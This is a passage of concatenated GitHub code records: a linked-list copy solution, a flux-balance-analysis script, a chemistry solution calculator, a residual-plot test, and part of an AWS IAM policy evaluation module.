self.assert_starts_with(\r\n alert.content, f\"Hey <@{testmogus_id}>, this is a reminder to wake up.\"\r\n )\r\n","repo_name":"AdamJamil/fortmogos","sub_path":"command/tests/test_set_reminder.py","file_name":"test_set_reminder.py","file_ext":"py","file_size_in_byte":4882,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"36993290199","text":"class Node:\n def __init__(self, val, next, random):\n self.val = val\n self.next = next\n self.random = random\n\nclass Solution:\n\n def copyRandomList(self, head: 'Node') -> 'Node':\n \"\"\"\n current = head\n clonedHead = None\n while current:\n cloned = Node(0, None, None)\n if not clonedHead:\n clonedHead = cloned\n cloned.val = current.val\n nextNode = current.next\n current.next = cloned\n cloned.next = nextNode\n current = nextNode\n\n current = head\n\n while current:\n if current.random:\n current.next.random = current.random.next\n current = current.next.next\n\n current = head\n while current:\n nextNode = current.next.next\n if nextNode:\n current.next.next = nextNode.next\n current.next = nextNode\n current = nextNode\n\n return clonedHead\n \"\"\"\n\n map = {}\n clonedHead: 'Node' = None\n clonedPrev: 'Node' = None\n current = head\n while current:\n newCloned = Node(0, None, None)\n map[current] = newCloned\n if not clonedHead:\n clonedHead = newCloned\n newCloned.val = current.val\n if clonedPrev:\n clonedPrev.next = newCloned\n clonedPrev = newCloned\n current = current.next\n\n for key, value in map.items():\n cloned = value\n original = key\n if original.random:\n cloned.random = map[original.random]\n\n return clonedHead\n\n\nif __name__ == \"__main__\":\n node1 = Node(1, None, None)\n\n node2 = Node(2, None, None)\n\n node1.next = node2\n node1.random = node2\n\n node2.next = None\n node2.random = node2\n\n sol = Solution()\n res = sol.copyRandomList(node1)\n print(res)","repo_name":"sumanshil/TopCoder","sub_path":"TopCoder/python/CopyListWithRandomPointer.py","file_name":"CopyListWithRandomPointer.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"26354383308","text":"import numpy as np\nfrom scipy.optimize import linprog\nfrom sklearn.decomposition import PCA\nimport matplotlib.pyplot as plt\nfrom configs import cfg\n\nimport bokeh.models as bm, bokeh.plotting as pl\nfrom bokeh.io import output_notebook\n\n\nclass Matrix:\n \"\"\"\n \"\"\"\n\n def __init__(self, file_path):\n with open(file_path, \"r\") as f:\n matrix_file = f.read()\n lines = matrix_file.split(\"\\n\")\n self.matrix = np.array([i.split() for i in lines], dtype=np.double)\n\n def get(self):\n \"\"\"\n :return:\n \"\"\"\n return self.matrix\n\n\nclass MatrixError(Exception):\n \"\"\"\n Input Matrix Error Handler\n \"\"\"\n\n\nclass Gauss:\n \"\"\"\n Method's of Gauss\n \"\"\"\n\n def __init__(self, A):\n\n self.line = A.shape[0]\n self.columns = A.shape[1]\n self.A = A.copy()\n\n def forward(self):\n \"\"\"\n :return:\n \"\"\"\n GaussForward = self.A.copy()\n\n step = 0\n while step < self.line:\n if GaussForward[step][step] == 0:\n for idx_line in range(step + 1, self.line):\n if GaussForward[idx_line, step] != 0:\n line = GaussForward[idx_line].copy()\n GaussForward[idx_line] = GaussForward[step].copy()\n GaussForward[step] = line.copy()\n break\n else:\n step += 1\n\n if step == self.line:\n break\n\n GaussForward[step] /= GaussForward[step][step]\n for idx_line in range(step + 1, self.line):\n GaussForward[idx_line] -= (\n GaussForward[idx_line][step] * GaussForward[step]\n )\n step += 1\n\n return GaussForward\n\n def zero_right(self):\n \"\"\"\n :return:\n \"\"\"\n if self.columns == self.line:\n raise MatrixError(\"error matrix\")\n elif self.columns < self.line:\n raise MatrixError(\"error matrix\")\n\n A = self.forward()\n v = np.zeros(self.columns)\n v[self.line :] = 1\n\n for i in range(self.line - 1, -1, -1):\n for j in range(self.line - i):\n v[i] += A[i, self.columns - (j + 1)] * v[self.line - j]\n v[i] *= -1\n\n return v\n\n\nclass Simplex:\n \"\"\"\n\n \"\"\"\n\n def __init__(self, obj, bnd, method=\"revised simplex\"):\n self.obj = obj\n self.bnd = bnd\n self.method = method\n\n def opt(self):\n return linprog(c=self.obj, bounds=self.bnd, method=self.method)\n\n\nclass FBA:\n \"\"\"\n\n \"\"\"\n\n def __init__(self, cfg):\n self.cfg = cfg\n\n def esm(self, A):\n v = Gauss(A).zero_right()*(-1)\n W = Simplex(v, self.cfg[\"bnd\"]).opt()\n return W\n\n\nclass Method:\n \"\"\"\n\n \"\"\"\n\n def __init__(self, cfg):\n self.cfg = cfg\n self.FBA = FBA(self.cfg)\n self.A = Matrix(self.cfg[\"path_mrx\"]).get()\n\n def nulling(self):\n flux = []\n point = []\n\n for i in range(self.A.shape[0]):\n B = self.A.copy()\n B[i] *= 0\n W = self.FBA.esm(B)\n flux.append(W[\"x\"])\n point.append(f'{i}')\n return [flux, point]\n\n def view_psa(self):\n flux = self.nulling()[0]\n flux.append(self.FBA.esm(self.A)['x'])\n fba_psa = PCA(n_components=2).fit_transform(flux)\n plt.scatter(fba_psa[:, 0], fba_psa[:, 1], color=\"g\")\n plt.show()\n\n\ndef draw_vectors(x, y, radius=10, alpha=0.25, color='blue',\n width=1000, height=800, show=True, **kwargs):\n \"\"\" draws an interactive plot for data points with auxilirary info on hover \"\"\"\n if isinstance(color, str): color = [color] * len(x)\n data_source = bm.ColumnDataSource({ 'x' : x, 'y' : y, 'color': color, **kwargs })\n fig = pl.figure(active_scroll='wheel_zoom', width=width, height=height)\n fig.scatter('x', 'y', size=radius, color='color', alpha=alpha, source=data_source)\n\n fig.add_tools(bm.HoverTool(tooltips=[(key, \"@\" + key) for key in kwargs.keys()]))\n if show: pl.show(fig)\n return fig\n\n\nif __name__ == \"__main__\":\n\n retw = Method(cfg.config_fba).nulling()\n retw[1].append('orig')\n\n A = Matrix(cfg.config_fba['path_mrx']).get()\n orig_v = FBA(cfg.config_fba).esm(A)['x']\n\n\n # ---------- experiment ---------->\n # powfe = []\n # neighbors = np.sqrt(np.sum((retw[0] - orig_v)**2, 1)) <= 0.0000000001\n # index_neighbors = np.array(np.where(neighbors == True))[0]\n # for i in index_neighbors:\n # powfe.append(int(retw[1][i]))\n #\n # retw[0].append(orig_v)\n #\n # print(powfe)\n # print(len(powfe))\n # print(A)\n #\n # A = np.delete(A, powfe, axis=0)\n #\n # print(A)\n #\n # test_with_zero = FBA(cfg.config_fba).esm(A)['x']\n # retw[0].append(test_with_zero)\n # retw[1].append('!!!')\n # <---------- !!! ----------\n\n\n retw[0].append(orig_v)\n\n fba_psa = PCA(n_components=2).fit_transform(retw[0])\n draw_vectors(fba_psa[:, 0], fba_psa[:, 1], token=retw[1], color = 'green')\n output_notebook()\n\n\n # plt.scatter(fba_psa[:, 0], fba_psa[:, 1], color=\"g\")\n # plt.show()","repo_name":"daryafom/FBA","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"20289840111","text":"from os import system\r\nmolecular_weight = {\r\n\t\"H\":1,\r\n\t\"Na\":22.99,\r\n\t\"K\":39.10,\r\n\t\"Mg\":24.31,\r\n\t\"Ca\":40.08,\r\n\t\"Cr\":52,\r\n\t\"Mn\":54.94,\r\n\t\"Fe\":55.85,\r\n\t\"Zn\":65.38,\r\n\t\"Al\":26.98,\r\n\t\"C\":12.01,\r\n\t\"N\":14.01,\r\n\t\"O\":16,\r\n\t\"P\":30.97,\r\n\t\"I\":126.9,\r\n\t\"Cl\":35.45,\r\n\t\"S\":32.07,\r\n\t\"F\":19\r\n}\r\n\r\ndef add_reagent_data():\r\n\tdelimiter = \"\"; delimiters = [\":\",\"-\",\";\",\".\",\",\"]\r\n\r\n\tsystem(\"cls\")\r\n\tprint(\"Give the name of the reagent in upper or lowercase first, not its molecular formula, yet...\")\r\n\treagent = input(\"Name of the reagent:\")\r\n\tprint(\"Examples on how to introduce the molecular formula:\",'\\n',\"C3 H8 02 N2\",'\\n',\"C3;H8;02;N2\",'\\n',\"C3:H8:02:N2\")\r\n\tprint(\"You can use any of these delimiters:\",delimiters,\"or just spaces between atoms: C3 H8 02 N2\")\r\n\tprint(\"Also if you want to add for example: NaCl, you'll have to indicate the number of atoms of each element in the molecular formula\")\r\n\tprint(\"Like this: Na1Cl1\")\r\n\tmolecular_formula = input(\"Molecular formula:\")\r\n\r\n\tfor i in molecular_formula: #finding delimiter in string between atoms\r\n\t\tif i == \" \" or i == \",\" or i == \".\" or i == \"-\" or i == \":\" or i == \";\":\r\n\t\t\tdelimiter = i\r\n\t\t\tbreak \r\n\tmolecular_formula = molecular_formula.replace(delimiter,\"\")\r\n\r\n\twith open(\"reagents_data.csv\",\"a+\") as reagents_data_file:\r\n\t\treagents_data_file.writelines('\\n')\r\n\t\treagents_data_file.writelines(reagent+\",\"+molecular_formula) #maybe aqui haya problema con la manera en la que intentas escribir las cosas\r\n\tprint(\"Data successfully uploaded, press enter to continue\")\r\n\tinput(); system(\"cls\")\r\n\treturn \r\n\r\ndef search_for_reagent(reagent):\r\n\tfound = False; line1 = \"\"\r\n\twith open(\"reagents_data.csv\",\"r\") as reagents_data_file:\r\n\t\tfor line in reagents_data_file:\r\n\t\t\tline1 = line.split(\",\")\r\n\t\t\tfor element in line1:\r\n\t\t\t\tif element == reagent.capitalize() or element == reagent.lower() or element == reagent.title() or element == reagent: #crea variables para cada una en caso de que no funcione\r\n\t\t\t\t\tsystem(\"cls\")\r\n\t\t\t\t\tprint(\"Data of the reagent is already in the program\")\r\n\t\t\t\t\tfound = True\r\n\t\t\t\t\tbreak\r\n\t\t\tline1.clear()\r\n\t\tif found == False:\r\n\t\t\tsystem(\"cls\")\r\n\t\t\tprint(\"Data of the reagent\",reagent,\"isn't available. Please, upload it\")\r\n\treturn\r\n\r\ndef search_reagent_for_calculations(reagent):\r\n\tline1 = \"\"; save_the_next_element = False; molecular_formula = \"\"\r\n\twith open(\"reagents_data.csv\",\"r\") as reagents_data_file:\r\n\t\tfor line in reagents_data_file:\r\n\t\t\tline1 = line.split(\",\")\r\n\t\t\tfor element in line1:\r\n\t\t\t\tif element == reagent.capitalize() or element == reagent.lower() or element == reagent.title(): #crea variables para cada una en caso de que no funcione\r\n\t\t\t\t\tsave_the_next_element = True\r\n\t\t\t\t\tcontinue\r\n\t\t\t\tif save_the_next_element == True:\r\n\t\t\t\t\tmolecular_formula = element\r\n\t\t\t\t\tbreak\r\n\t\t\tline1.clear()\r\n\t\t\tif save_the_next_element == True:\r\n\t\t\t\tsave_the_next_element = False\r\n\t\t\t\tbreak\r\n\treturn molecular_formula\r\n\r\ndef convert_str_to_dict(molecular_formula):\r\n\twait = False; value = \"\"; key = \"\"; dict_mol_form = {}\r\n\tfor i in range(len(molecular_formula)): #filling dic_mol_formula with the molecular formula given\r\n\t\tif i < len(molecular_formula) - 1 and molecular_formula[i].isalpha() and molecular_formula[i+1].isalpha():\r\n\t\t\twait = True\r\n\t\t\tkey = molecular_formula[i]\r\n\t\telif i < len(molecular_formula) - 1 and molecular_formula[i].isalpha() and molecular_formula[i+1].isdigit() and wait == False:\r\n\t\t\tkey = molecular_formula[i]\r\n\t\telif molecular_formula[i].isalpha() and wait == True:\r\n\t\t\twait = False\r\n\t\t\tkey = key + molecular_formula[i]\r\n\t\telif molecular_formula[i].isalpha() and i == len(molecular_formula) - 1:\r\n\t\t\tkey = key + molecular_formula[i]\r\n\r\n\t\tif i < len(molecular_formula) - 1 and molecular_formula[i].isdigit() and molecular_formula[i+1].isdigit():\r\n\t\t\twait = True\r\n\t\t\tvalue = molecular_formula[i]\r\n\t\telif i < len(molecular_formula) - 1 and molecular_formula[i].isdigit() and molecular_formula[i+1].isalpha() and wait == False:\r\n\t\t\tvalue = molecular_formula[i]\r\n\t\telif molecular_formula[i].isdigit() and wait == True:\r\n\t\t\twait = False\r\n\t\t\tvalue = value + molecular_formula[i]\r\n\t\telif molecular_formula[i].isdigit() and i == len(molecular_formula) - 1:\r\n\t\t\tvalue = value + molecular_formula[i]\r\n\t\r\n\t\tif value!= \"\" and key != \"\" and wait == False:\r\n\t\t\tdict_mol_form[key] = int(value)\r\n\t\t\tvalue = str(value)\r\n\t\t\tvalue = \"\"; key = \"\"\r\n\treturn dict_mol_form\r\n\r\ndef solution_preparation():\r\n\tmols_sol = 0; lts_solution = 0; molecular_formula = \"\"; dict_molecular_form = \"\"; total_mol_weight = 0; mlts_solute = 0; grms_solute = 0\r\n\tsystem(\"cls\")\r\n\tprint(\"I'll be working just with molar, p/v and v/v concentrations\",'\\n')\r\n\tprint(\"Select a type of concentration:\",'\\n',\"1. Molar[M]\",'\\n',\"2. p/v\",'\\n',\"3. v/v\")\r\n\tconcentration_type = int(input())\r\n\r\n\tif concentration_type == 1:\r\n\t\tsystem(\"cls\"); print(\"------------MOLAR CONCENTRATION-----------\")\r\n\t\treagent_name = input(\"Reagent name:\")\r\n\t\tml_solution = float(input(\"How many mL of solution you need to prepare?:\"));\r\n\t\tconcentration = float(input(\"At which concentration will be your solution?:\")); print('\\n')\r\n\t\tlts_solution = (ml_solution)*(1/1000)\r\n\r\n\t\tmols_sol = concentration*lts_solution\r\n\r\n\t\tmolecular_formula = search_reagent_for_calculations(reagent_name)\r\n\t\tdict_molecular_form = convert_str_to_dict(molecular_formula) #ES UN STRING EN REALIDAD\r\n\t\tprint(\"Diccionario dict_molecular_form\",dict_molecular_form) #viene de convert_str_to_dict\r\n\t\tfor atom_int, mol_weight_int in dict_molecular_form.items(): #Puede que haya problemas aqui porque estas guardando el dict en una variable string\r\n\t\t\tfor atom, mol_weight in molecular_weight.items():\r\n\t\t\t\tif atom_int == atom:\r\n\t\t\t\t\ttotal_mol_weight = total_mol_weight + (mol_weight_int*mol_weight)\r\n\t\t\t\t\tbreak\r\n\r\n\t\tgrms_solute = round(total_mol_weight*mols_sol,3)\r\n\t\tprint(\"In order to prepare this solution, you need to weigh\",grms_solute,\"grams of\",reagent_name,\"and disolve it on\",ml_solution,\"mL of dH2O\")\r\n\r\n\telif concentration_type == 2:\r\n\t\tsystem(\"cls\"); print(\"------------P/V CONCENTRATION-----------\")\r\n\t\treagent_name = input(\"Reagent name:\")\r\n\t\tml_solution = float(input(\"How many mL of solution you need to prepare?:\"))\r\n\t\tconcentration = float(input(\"In what percentage you need your solution?:\"))\r\n\r\n\t\tgrms_solute = round(((concentration*ml_solution)/100),3)\r\n\t\tprint(\"In order to prepare this solution, you need to weigh\",grms_solute,\"grams of\",reagent_name,\"and disolve it on\",ml_solution,\"mL of dH2O\")\r\n\r\n\telif concentration_type == 3:\r\n\t\tsystem(\"cls\"); print(\"------------V/V CONCENTRATION-----------\")\r\n\t\treagent_name = input(\"Reagent name:\")\r\n\t\tml_solution = float(input(\"How many mL of solution you need to prepare?:\"))\r\n\t\tconcentration = float(input(\"In what percentage you need your solution?:\"))\r\n\r\n\t\tmlts_solute = round(((concentration*ml_solution)/100),3)\r\n\t\tprint(\"In order to prepare this solution, you need\",mlts_solute,\"mL of\",reagent_name,\"and mix it with\",ml_solution,\"mL of dH2O\")\r\n\treturn","repo_name":"eristar8/pythonclassITMO","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":6914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"31791279497","text":"import numpy as np\nimport pytest\nfrom matplotlib import pyplot as plt\nfrom matplotlib.axes import Axes\nfrom sklearn.linear_model import LinearRegression\n\nfrom ml_tooling import Model\nfrom ml_tooling.data import load_demo_dataset\nfrom ml_tooling.result import Result\n\n\nclass TestResidualPlot:\n @pytest.fixture(scope=\"class\")\n def regression_result(self) -> Result:\n \"\"\"Setup a regression result\"\"\"\n dataset = load_demo_dataset(\"california\")\n model = Model(LinearRegression())\n return model.score_estimator(dataset)\n\n @pytest.fixture(scope=\"class\")\n def ax(self, regression_result) -> Axes:\n \"\"\"Setup a residuals plot\"\"\"\n yield regression_result.plot.residuals()\n plt.close()\n\n def test_residuals_plots_can_be_given_an_ax(self, regression_result: Result):\n \"\"\"Expect that the plot will use the axes provided to draw on\"\"\"\n fig, ax = plt.subplots()\n test_ax = regression_result.plot.residuals(ax=ax)\n assert ax == test_ax\n plt.close()\n\n def test_has_correct_title(self, ax: Axes):\n \"\"\"Expect the plot to have the correct title\"\"\"\n assert \"Residual Plot - LinearRegression\" == ax.title.get_text()\n\n def test_has_correct_ylabel(self, ax: Axes):\n \"\"\"Expect the plot to have correct ylabels\"\"\"\n assert ax.get_ylabel() == \"Residuals\"\n\n def test_has_correct_xlabel(self, ax: Axes):\n \"\"\"Expect the plot to have correct xlabels\"\"\"\n assert ax.get_xlabel() == \"Predicted Value\"\n\n def test_residual_plots_have_correct_data(\n self, ax: Axes, regression_result: Result\n ):\n \"\"\"Expect the plot to have the correct data\"\"\"\n x = regression_result.plot._data.test_x\n y = regression_result.plot._data.test_y\n y_pred = regression_result.estimator.predict(x)\n expected = y_pred - y\n\n assert np.all(expected == ax.collections[0].get_offsets()[:, 1])\n assert np.all(y_pred == ax.collections[0].get_offsets()[:, 0])\n plt.close()\n","repo_name":"andersbogsnes/ml_tooling","sub_path":"tests/test_visualizations/test_residual_plot.py","file_name":"test_residual_plot.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"} +{"seq_id":"527666408","text":"from dataclasses import dataclass\nfrom logging import Logger\nfrom typing import Dict, Generator, List, Optional, Set, Tuple\n\nfrom aws_ptrp.actions.aws_actions import AwsActions\nfrom aws_ptrp.iam.policy.policy_document import Effect, PolicyDocument, PolicyDocumentCtx\nfrom aws_ptrp.iam.policy.policy_document_resolver import get_identity_based_resolver, get_resource_based_resolver\nfrom aws_ptrp.principals import Principal\nfrom aws_ptrp.principals.aws_principals import AwsPrincipals\nfrom aws_ptrp.resources.account_resources import AwsAccountResources\nfrom aws_ptrp.services import (\n MethodOnStmtActionsResultType,\n MethodOnStmtActionsType,\n MethodOnStmtsActionsResult,\n ServiceActionType,\n ServiceResourceBase,\n ServiceResourcesResolverBase,\n ServiceResourceType,\n)\nfrom aws_ptrp.services.resolved_stmt import ResolvedSingleStmt\n\n\n@dataclass\nclass PolicyEvaluationExplicitDenyResult:\n difference_stmts_result_from_identity_policies: Optional[MethodOnStmtsActionsResult] = None\n difference_stmts_result_from_resource_policy: Optional[MethodOnStmtsActionsResult] = None\n\n @staticmethod\n def _yield_resolved_stmts(\n difference_stmts_results: Optional[MethodOnStmtsActionsResult],\n method_on_stmt_actions_type: MethodOnStmtActionsType,\n method_on_stmt_actions_result_type: MethodOnStmtActionsResultType,\n ) -> Generator[Tuple[ResolvedSingleStmt, MethodOnStmtActionsResultType], None, None]:\n if method_on_stmt_actions_type == MethodOnStmtActionsType.DIFFERENCE:\n if difference_stmts_results:\n for resolved_stmt_result in difference_stmts_results.resolved_stmt_results:\n if resolved_stmt_result.result == method_on_stmt_actions_result_type:\n yield (resolved_stmt_result.resolved_single_stmt, method_on_stmt_actions_result_type)\n\n def yield_resolved_stmts(\n self,\n method_on_stmt_actions_type: MethodOnStmtActionsType,\n method_on_stmt_actions_result_type_list: List[MethodOnStmtActionsResultType],\n ) -> Generator[Tuple[ResolvedSingleStmt, MethodOnStmtActionsResultType], None, None]:\n for method_on_stmt_actions_result_type in method_on_stmt_actions_result_type_list:\n yield from PolicyEvaluationExplicitDenyResult._yield_resolved_stmts(\n self.difference_stmts_result_from_resource_policy,\n method_on_stmt_actions_type,\n method_on_stmt_actions_result_type,\n )\n yield from PolicyEvaluationExplicitDenyResult._yield_resolved_stmts(\n self.difference_stmts_result_from_identity_policies,\n method_on_stmt_actions_type,\n method_on_stmt_actions_result_type,\n )\n\n\n@dataclass\nclass PolicyEvaluationApplyResult:\n explicit_deny_result: PolicyEvaluationExplicitDenyResult\n\n\n@dataclass\nclass PolicyEvaluationResult:\n target_resolver: Optional[ServiceResourcesResolverBase] = None\n policy_apply_result: Optional[PolicyEvaluationApplyResult] = None\n\n def get_target_resolver(self) -> Optional[ServiceResourcesResolverBase]:\n if self.target_resolver and self.target_resolver.is_empty() is False:\n return self.target_resolver\n return None\n\n def get_policy_apply_result(self) -> Optional[PolicyEvaluationApplyResult]:\n return self.policy_apply_result\n\n\n@dataclass\nclass PolicyEvaluationsResult:\n result: Optional[PolicyEvaluationResult] = None\n result_cross_account: Optional[PolicyEvaluationResult] = None\n\n def get_target_resolver(self) -> Optional[ServiceResourcesResolverBase]:\n if self.result:\n return self.result.get_target_resolver()\n return None\n\n def get_policy_apply_result(self) -> Optional[PolicyEvaluationApplyResult]:\n if self.result:\n return self.result.get_policy_apply_result()\n return None\n\n def get_cross_account_policy_apply_result(self) -> Optional[PolicyEvaluationApplyResult]:\n if self.result_cross_account:\n return self.result_cross_account.get_policy_apply_result()\n return None\n\n\n@dataclass\nclass PolicyEvaluation:\n logger: Logger\n identity_principal: Principal\n service_resource_type: ServiceResourceType\n identity_policies_service_resolver: Optional[ServiceResourcesResolverBase]\n resource_policy_service_resolver: Optional[ServiceResourcesResolverBase]\n # session_policies_service_resolver: List[ServiceResourcesResolverBase]\n # permission_boundary_policy_service_resolver: Optional[Dict[ServiceResourcesResolverBase]]\n aws_actions: AwsActions\n aws_principals: AwsPrincipals\n account_resources: AwsAccountResources\n\n def _apply_explicit_deny(\n self, target_policies_service_resolver: ServiceResourcesResolverBase\n ) -> PolicyEvaluationExplicitDenyResult:\n # subtract the explicit denies from the relevant policies\n ret = PolicyEvaluationExplicitDenyResult()\n if self.identity_policies_service_resolver:\n ret.difference_stmts_result_from_identity_policies = (\n target_policies_service_resolver.apply_method_on_stmts_actions(\n MethodOnStmtActionsType.DIFFERENCE, self.identity_principal, self.identity_policies_service_resolver\n )\n )\n if self.resource_policy_service_resolver:\n ret.difference_stmts_result_from_resource_policy = (\n target_policies_service_resolver.apply_method_on_stmts_actions(\n MethodOnStmtActionsType.DIFFERENCE, self.identity_principal, self.resource_policy_service_resolver\n )\n )\n return ret\n\n def _apply_policy_evaluation(\n self, target_policies_service_resolver: ServiceResourcesResolverBase\n ) -> PolicyEvaluationApplyResult:\n explicit_deny_result = self._apply_explicit_deny(target_policies_service_resolver)\n return PolicyEvaluationApplyResult(explicit_deny_result=explicit_deny_result)\n\n @staticmethod\n def _apply_intersection_on_service_resolvers(\n identity_principal: Principal,\n service_resolvers: List[Optional[ServiceResourcesResolverBase]],\n ) -> Optional[ServiceResourcesResolverBase]:\n if not service_resolvers or service_resolvers[0] is None or service_resolvers[0].is_empty():\n return None\n # No need to do INTERSECTION for the first entry with itself\n ret: ServiceResourcesResolverBase = service_resolvers[0]\n\n for service_resolver in service_resolvers[1:]:\n if service_resolver is None or service_resolver.is_empty():\n return None\n ret.apply_method_on_stmts_actions(\n MethodOnStmtActionsType.INTERSECTION, identity_principal, service_resolver\n )\n\n if ret.is_empty() is False:\n return ret\n return None\n\n @classmethod\n def _load(\n cls,\n logger: Logger,\n identity_principal: Principal,\n resource_policy_ctx: Optional[PolicyDocumentCtx],\n service_resource_type: ServiceResourceType,\n aws_actions: AwsActions,\n aws_principals: AwsPrincipals,\n account_resources: AwsAccountResources,\n principal_policies_ctx: List[PolicyDocumentCtx],\n ) -> 'PolicyEvaluation':\n identity_policies_service_resolver = cls._get_identity_policies_service_resolver(\n logger=logger,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n identity_principal=identity_principal,\n service_resource_type=service_resource_type,\n principal_policies_ctx=principal_policies_ctx,\n effect=Effect.Deny,\n )\n resource_policy_service_resolver = cls._get_resource_policy_service_resolver(\n logger=logger,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n service_resource_type=service_resource_type,\n resource_policy_ctx=resource_policy_ctx,\n effect=Effect.Deny,\n )\n\n policy_evaluation = cls(\n logger=logger,\n identity_principal=identity_principal,\n service_resource_type=service_resource_type,\n identity_policies_service_resolver=identity_policies_service_resolver,\n resource_policy_service_resolver=resource_policy_service_resolver,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n )\n return policy_evaluation\n\n @classmethod\n def _get_identity_policies_service_resolver(\n cls,\n logger: Logger,\n aws_actions: AwsActions,\n aws_principals: AwsPrincipals,\n account_resources: AwsAccountResources,\n identity_principal: Principal,\n service_resource_type: ServiceResourceType,\n principal_policies_ctx: List[PolicyDocumentCtx],\n effect: Effect,\n ) -> Optional[ServiceResourcesResolverBase]:\n allowed_service_action_types: Set[ServiceActionType] = set([service_resource_type])\n identity_policies_services_resolver: Optional[\n Dict[ServiceResourceType, ServiceResourcesResolverBase]\n ] = get_identity_based_resolver(\n logger=logger,\n policy_documents_ctx=principal_policies_ctx,\n identity_principal=identity_principal,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n effect=effect,\n allowed_service_action_types=allowed_service_action_types,\n )\n\n if identity_policies_services_resolver:\n identity_policies_service_resolver: Optional[\n ServiceResourcesResolverBase\n ] = identity_policies_services_resolver.get(service_resource_type)\n else:\n identity_policies_service_resolver = None\n\n return identity_policies_service_resolver\n\n @classmethod\n def _get_resource_policy_service_resolver(\n cls,\n logger: Logger,\n aws_actions: AwsActions,\n aws_principals: AwsPrincipals,\n account_resources: AwsAccountResources,\n service_resource_type: ServiceResourceType,\n resource_policy_ctx: Optional[PolicyDocumentCtx],\n effect: Effect,\n ) -> Optional[ServiceResourcesResolverBase]:\n if resource_policy_ctx:\n resource_policy_service_resolver: Optional[ServiceResourcesResolverBase] = get_resource_based_resolver(\n logger=logger,\n policy_document=resource_policy_ctx.policy_document,\n service_resource_type=service_resource_type,\n resource_arn=resource_policy_ctx.parent_arn,\n resource_aws_account_id=resource_policy_ctx.parent_aws_account_id,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n effect=effect,\n )\n else:\n resource_policy_service_resolver = None\n return resource_policy_service_resolver\n\n @classmethod\n def run_target_policies_identity_based(\n cls,\n logger: Logger,\n aws_actions: AwsActions,\n aws_principals: AwsPrincipals,\n account_resources: AwsAccountResources,\n identity_principal: Principal,\n target_identity_policies_ctx: List[PolicyDocumentCtx],\n service_resource_type: ServiceResourceType,\n service_resource: ServiceResourceBase,\n principal_policies_ctx: List[PolicyDocumentCtx],\n # session_policies: List[PolicyDocument] = [],\n # permission_boundary_policy: Optional[PolicyDocument] = None,\n during_cross_account_checking_flow: bool = False,\n ) -> PolicyEvaluationResult:\n # in cross account, identity_principal (not the original principal!, but the last principal to be assumed in the path)\n # can has accesses to a resource only if the target_policy is a resource based policy\n policy_evaluation_result = PolicyEvaluationResult()\n if during_cross_account_checking_flow is False:\n if identity_principal.get_account_id() != service_resource.get_resource_account_id():\n return policy_evaluation_result\n\n target_policies_service_resolver = cls._get_identity_policies_service_resolver(\n logger,\n aws_actions,\n aws_principals,\n account_resources,\n identity_principal,\n service_resource_type,\n target_identity_policies_ctx,\n Effect.Allow,\n )\n if target_policies_service_resolver is None or target_policies_service_resolver.is_empty():\n return policy_evaluation_result\n policy_evaluation_result.target_resolver = target_policies_service_resolver\n\n resource_policy: Optional[PolicyDocument] = service_resource.get_resource_policy()\n if resource_policy:\n resource_policy_ctx: Optional[PolicyDocumentCtx] = PolicyDocumentCtx(\n policy_document=resource_policy,\n policy_name=service_resource.get_resource_name(),\n parent_arn=service_resource.get_resource_arn(),\n parent_aws_account_id=service_resource.get_resource_account_id(),\n )\n else:\n resource_policy_ctx = None\n\n policy_evaluation = cls._load(\n logger=logger,\n identity_principal=identity_principal,\n resource_policy_ctx=resource_policy_ctx,\n service_resource_type=service_resource_type,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n principal_policies_ctx=principal_policies_ctx,\n )\n\n policy_apply_result = policy_evaluation._apply_policy_evaluation(policy_evaluation_result.target_resolver)\n policy_evaluation_result.policy_apply_result = policy_apply_result\n return policy_evaluation_result\n\n @classmethod\n def run_target_policy_resource_based(\n cls,\n logger: Logger,\n aws_actions: AwsActions,\n aws_principals: AwsPrincipals,\n account_resources: AwsAccountResources,\n identity_principal: Principal,\n target_service_resource: ServiceResourceBase,\n service_resource_type: ServiceResourceType,\n principal_policies_ctx: List[PolicyDocumentCtx],\n # session_policies: List[PolicyDocument] = [],\n # permission_boundary_policy: Optional[PolicyDocument] = None,\n ) -> PolicyEvaluationsResult:\n policy_evaluations_result = PolicyEvaluationsResult()\n resource_policy: Optional[PolicyDocument] = target_service_resource.get_resource_policy()\n if resource_policy is None:\n return policy_evaluations_result\n\n resource_policy_ctx: PolicyDocumentCtx = PolicyDocumentCtx(\n policy_document=resource_policy,\n policy_name=target_service_resource.get_resource_name(),\n parent_arn=target_service_resource.get_resource_arn(),\n parent_aws_account_id=target_service_resource.get_resource_account_id(),\n )\n\n target_policy_service_resolver: Optional[\n ServiceResourcesResolverBase\n ] = cls._get_resource_policy_service_resolver(\n logger=logger,\n resource_policy_ctx=resource_policy_ctx,\n service_resource_type=service_resource_type,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n effect=Effect.Allow,\n )\n if target_policy_service_resolver is None or target_policy_service_resolver.is_empty():\n return policy_evaluations_result\n policy_evaluations_result.result = PolicyEvaluationResult()\n policy_evaluations_result.result.target_resolver = target_policy_service_resolver\n\n policy_evaluation = cls._load(\n logger=logger,\n identity_principal=identity_principal,\n resource_policy_ctx=resource_policy_ctx,\n service_resource_type=service_resource_type,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n principal_policies_ctx=principal_policies_ctx,\n )\n\n policy_apply_result = policy_evaluation._apply_policy_evaluation(\n policy_evaluations_result.result.target_resolver\n )\n policy_evaluations_result.result.policy_apply_result = 